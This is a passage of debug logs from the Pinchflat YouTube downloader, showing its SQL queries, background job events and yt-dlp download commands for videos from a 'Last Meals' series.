"oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:53:29.904 [debug] QUERY OK source="tasks" db=0.5ms idle=766.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:53:29.904 [debug] QUERY OK source="media_items" db=0.3ms idle=13.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [108] 22:53:29.904 [debug] QUERY OK source="media_items" db=0.4ms idle=1.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [108] 22:53:29.910 [info] {"args":{"id":110},"id":109,"meta":{},"system_time":1774666409910029607,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:53:29.911 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=6.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [110] 22:53:29.911 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:53:29.911 [debug] QUERY OK source="tasks" db=1.0ms idle=5.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:53:29.911 [debug] QUERY OK source="tasks" db=1.1ms idle=6.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:53:29.911 [debug] QUERY OK source="sources" db=0.2ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:53:29.912 [debug] QUERY OK source="media_items" db=0.3ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [108, 110] 22:53:29.912 [debug] QUERY OK source="media_items" db=0.5ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [108, 110] 22:53:29.912 [debug] QUERY OK source="media_profiles" db=0.4ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:53:29.912 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [110] 22:53:29.913 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [110] 22:53:29.913 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:53:29.913 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:29.914 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:29.914 [debug] Running yt-dlp command for action: get_downloadable_status 22:53:29.914 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:29.914 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:29.915 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:29.915 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y58vTc9kB2U --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/37/11/371195b24b3b7ed781d0018775720eebd70e05a04cc9d23b2c2a62ea3aed1b28.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:53:32.676 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y58vTc9kB2U --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/37/11/371195b24b3b7ed781d0018775720eebd70e05a04cc9d23b2c2a62ea3aed1b28.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:53:32.677 [debug] Running yt-dlp command for action: download 22:53:32.677 [debug] QUERY OK source="settings" db=0.0ms idle=1613.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:32.677 [debug] QUERY OK source="settings" db=0.0ms idle=1613.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:32.677 [debug] QUERY OK source="settings" db=0.0ms idle=1613.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:32.677 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Y58vTc9kB2U --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/c8/e3/c8e3f83dc406c739f0f33bfffb07cd6a162bbc58187f1c9736412cfee8e5b896.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:53:47.100 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NrFf7zEOGO4 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/13/65/1365c38ab0e8d675ca37e141057d7913cbf4b8d310dff682a9dc2a633e25b185.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:53:47.110 [debug] Running yt-dlp command for action: download_thumbnail 22:53:47.110 [debug] QUERY OK source="settings" db=0.1ms idle=1046.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:47.110 [debug] QUERY OK source="settings" db=0.0ms idle=1046.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:47.110 [debug] QUERY OK source="settings" db=0.0ms idle=1047.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:47.110 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NrFf7zEOGO4 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/108/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/db/ab/dbab71100db87b8c89e518beb6f28fc58acfa9fe6187ab5811d57589e08f26ff.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:53:49.481 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NrFf7zEOGO4 --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/108/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/db/ab/dbab71100db87b8c89e518beb6f28fc58acfa9fe6187ab5811d57589e08f26ff.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:53:49.481 [debug] QUERY OK db=0.0ms idle=418.2ms begin [] 22:53:49.482 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:53:47Z], "/downloads/Last Meals/2026-03-03 Priyanka Chopra Jonas Eats Her Last Meal/Priyanka Chopra Jonas Eats Her Last Meal [NrFf7zEOGO4].mp4", ~U[2026-03-28 02:53:49Z], 108] 22:53:49.482 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/108/metadata.json.gz", "/config/metadata/media_items/108/thumbnail.jpg", 108, ~U[2026-03-28 02:53:49Z], ~U[2026-03-28 02:53:49Z]] 22:53:49.482 [debug] QUERY OK db=0.1ms commit [] 22:53:49.483 [debug] QUERY OK source="media_items" db=0.4ms idle=419.4ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [769063148, ~U[2026-03-28 02:53:49Z], 108] 22:53:49.483 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:53:49.483 [info] {"args":{"id":108},"id":107,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":238652883,"event":"job:stop","queue_time":7228830391,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:53:49.483 [debug] QUERY OK source="tasks" db=0.1ms idle=317.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:53:49.484 [debug] QUERY OK source="tasks" db=0.2ms idle=420.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:53:49.484 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [110] 22:53:49.484 [debug] QUERY OK source="media_items" db=0.0ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [110] 22:53:49.489 [info] {"args":{"id":111},"id":110,"meta":{},"system_time":1774666429489636723,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:53:49.490 [debug] QUERY OK source="media_items" db=0.4ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [111] 22:53:49.490 [debug] QUERY OK source="tasks" db=0.5ms idle=5.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:53:49.490 [debug] QUERY OK source="tasks" db=0.5ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:53:49.490 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:53:49.490 [debug] QUERY OK source="media_items" db=0.3ms idle=6.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [110, 111] 22:53:49.490 [debug] QUERY OK source="media_items" db=0.4ms idle=0.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [110, 111] 22:53:49.490 [debug] QUERY OK source="sources" db=0.4ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:53:49.491 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:53:49.491 [debug] QUERY OK source="media_items" db=0.0ms idle=0.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [111] 22:53:49.499 [debug] QUERY OK source="media_metadata" db=0.0ms idle=8.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [111] 22:53:49.499 [debug] QUERY OK source="media_profiles" db=0.0ms idle=8.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:53:49.499 [debug] QUERY OK source="settings" db=0.0ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:49.500 [debug] QUERY OK source="settings" db=0.0ms idle=8.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:53:49.500 [debug] Running yt-dlp command for action: get_downloadable_status 22:53:49.500 [debug] QUERY OK source="settings" db=0.0ms idle=9.1ms SELECT s0."id", s0."onboarding", 